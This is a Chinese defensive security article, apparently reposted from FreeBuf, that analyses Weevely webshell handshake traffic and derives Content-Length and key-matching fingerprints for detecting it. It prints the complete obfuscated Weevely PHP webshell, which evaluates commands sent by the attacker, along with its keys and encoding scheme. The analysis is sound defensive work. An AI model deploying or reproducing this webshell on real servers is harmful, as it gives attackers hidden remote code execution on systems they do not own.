扫码领资料
获网安教程
免费&进群
近日,新华三盾山实验室在实战演练防守中发现一次使用Weevely攻击的事件,攻击者使用混淆的webshell绕过了安全设备检测,成功上传了恶意文件并Getshell。通过查看目标主机中的webshell木马文件,发现其混淆程度较高,通过特征不好检测,现通过分析其上线流量方式寻找有效的识别方法。
Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely上线流量分析与识别、Weevely后门文件识别、Weevely加解密方法。
本段落通过分析Weevely源码,详细介绍Webshell上线交互流量,以及客户端代码实现。
客户端交互认证过程:通过http层通道发送加密信息到服务端,再通过解密服务端回复的信息,从而判断Weevely连接状态是否建立成功,客户端的具体步骤如下:
第一步:Client通过send()函数发送信息。其body字段传输信息形式为:
"t0GP$"Iw`|%yM}:bbb6070c0372HalGcBsTrB7vGn8V/hZM+Kl+4gjmjRAZyxkbcfvsNn4o+/1vBgpTAVVg4owwOS2paOscdfe42fa0db1lpU`}F4|/;_RKd^#。
第二步:通过代码中utils.sting.sxor()、zlib.compress()、base64.b64encode()加密函数以及channel.send()函数可知,请求中body密文加密字段为 “echo (X);”字样,其中X取值为(11111-99999)的随机数字。通过代码中定义变量可知,POST请求中body字段组成形式如下方所示:
body长度形式为:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)。
以上分析可知:该处可能存在Weevely工具指纹;为了验证猜想,本文进行了深入的分析验证(第四节详细分析)。
第三步:Client通过解密函数utils.sting.sxor()、zlib.decompress()、base64.b64decode()对接收服务端响应的body字符串进行解密,并判断字符串是否和send()函数发送到服务端的“X”值相同,从而判断客户端与服务端是否能够成功建立通信。
Weevely Webshell文件通过各种混淆字符插入、随机变量名以及str_replace()使用,降低了Webshell的指纹特征。如果仔细观察,会发现Webshell文件存在decode、base64、encode等明显函数,较明显的指纹特征为使用了两次str_replace()函数。
原始混淆的Webshell形式如下:
<?php
$Q='inpF2ut"),$mF2)==1) {@ob_stF2art();@eF2val(F2@gzuncF2omF2press(@x(F2@F2base6F2F24_decode($m[F21]),$k)F2));$o=F2@oF2bF2';
$n='){$F2c=sF2tF2rlen($k)F2;F2$l=strlen($t)F2;$F2F2o="";for(F2$i=0;$iF2<$lF2;){F2for($j=0;($F2j<$c&&$i<$lF2);$j+F2+,$F2i++){';
$y='$o.F2=$F2tF2F2{$i}^$k{$j};}}retF2F2urn $o;}ifF2 (@prF2eg_match("/$kh(.F2+)F2$F2kf/",@file_get_conF2teF2nts(F2F2"php://';
$j='$k="e5F25869F2F2f1";$kh="bbbF2607F20cF2F2F20372";$kf="cdfF2e42fa0db1";$pF2="hF2GF2hCrCVUrXyqix5x";fuF2nctionF2 x($t,$k';
$F='_get_contents(F2);@ob_end_F2cleF2an();$r=@base6F24F2_eF2ncode(@x(@gF2zF2compressF2F2F2($o),$k));print("$pF2$kh$r$kf");}';
$z=str_replace('ia','','criaeatiaiae_fiauniaciation');
$O=str_replace('F2','',$j.$n.$y.$Q.$F);
$v=$z('',$O);$v();
?>
通过代码逻辑可以对混淆的Webshell语句进行还原,还原结果如下图所示:
通过反向加解密得到请求body位置加密内容为:“echo(81232);”,其中“81232” 是随机的数字组合(11111-99999)。根据加密的方法可知:当“X”为5个数字相同组合时,其加密后字符串长度为23个字节;当“X”为前四个数字相同或者后四个数字相同组合时,其加密后字符串长度为24个字节;当“X”为其他情况组合时,其加密后字符串长度均为27个字节。根据固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥)+ 16(随机字符)可知Content-Length值为:83/80/79,此处证明了之前的猜想是成立的。
接下来再反推响应body位置加密+base64编码后字符串的长度,进一步确认响应方向Content-Length值。
根据加密的方法可知:当“X”为5个数字相同或前4个数字相同组合时,其加密后的字符串长度为16个字节;当“X”为其他情况组合时,其加密后的字符串长度均为20个字节。根据回应方向固定长度计算方法:16(随机字符)+ 12(秘钥)+ len(X) + 12(秘钥),得到:Content-Length值为60/56。
可知Weevely交互流量中centent-length对应关系如下:
请求中content-length:83/80 对应响应中content-length: 60
请求中content-length:79 对应响应中content-length: 56
根据下图可以推导出随机“X”字符的加密后长度是固定的。
上线流量请求和响应方向特征对比:
根据上几节分析可确定Weevely工具特征:
请求body字段为:随机16个字节+12个字节秘钥+echo(X);的加密字符串+12个字节秘钥+16个随机字节。
响应body字段为:随机16个字节+12个字节秘钥(与请求中相同)+请求中X加密字符串+12个字节秘钥(与请求中相同)。
初看通信流量字段信息,好像无法提取检测特征,通过分析一轮之后,通信指纹逐步清晰;因此,可根据本文的分析结果在实际场景应用起来。当存在大量流量报文时,可使用该方法快速的检出Weevely恶意流量,也可在安全检测设备使用该思路检出weevely使用痕迹。该检查思路有利于防守方在攻防演练中高效的判断是否受到Weevely攻击。下面重点介绍该分析的检测逻辑:
检测流程图
具体描述:
先根据请求content-length值来筛选,并确定请求body特定字段是否符合bash64编码:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
提取请求body部分第17位字节到第28位字节以及提取倒数第17位字节到倒数第28位字节数据:"t0GP$"Iw`|%yM}:bbb6070c0372Hal+dfjxsYFVAQcO5I1gMXLiNhQcdfe42fa0db1lpU`}F4|/;_RKd^#
确认响应content-length值。
提取响应body部分第17位字节到第28位字节和倒数12位字节的数据:hGhCrCVUrXyqix5xbbb6070c0372HamGCAILUDNlNjo5Nw==cdfe42fa0db1
判断请求body部分中第17位字节到第28位字节和倒数第17位字节到倒数第28位字节与响应body部分提取的第17位字节到第28位字节以及倒数12位字节匹配是否相等。
来源:https://www.freebuf.com/articles/network/385268.html
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
(hack视频资料及工具)
(部分展示)
往期推荐
【精选】SRC快速入门+上分小秘籍+实战指南
爬取免费代理,拥有自己的代理池
漏洞挖掘|密码找回中的套路
渗透测试岗位面试题(重点:渗透思路)
漏洞挖掘 | 通用型漏洞挖掘思路技巧
干货|列了几种均能过安全狗的方法!
一名大学生的黑客成长史到入狱的自述
攻防演练|红队手段之将蓝队逼到关站!
看到这里了,点个“赞”、“再看”吧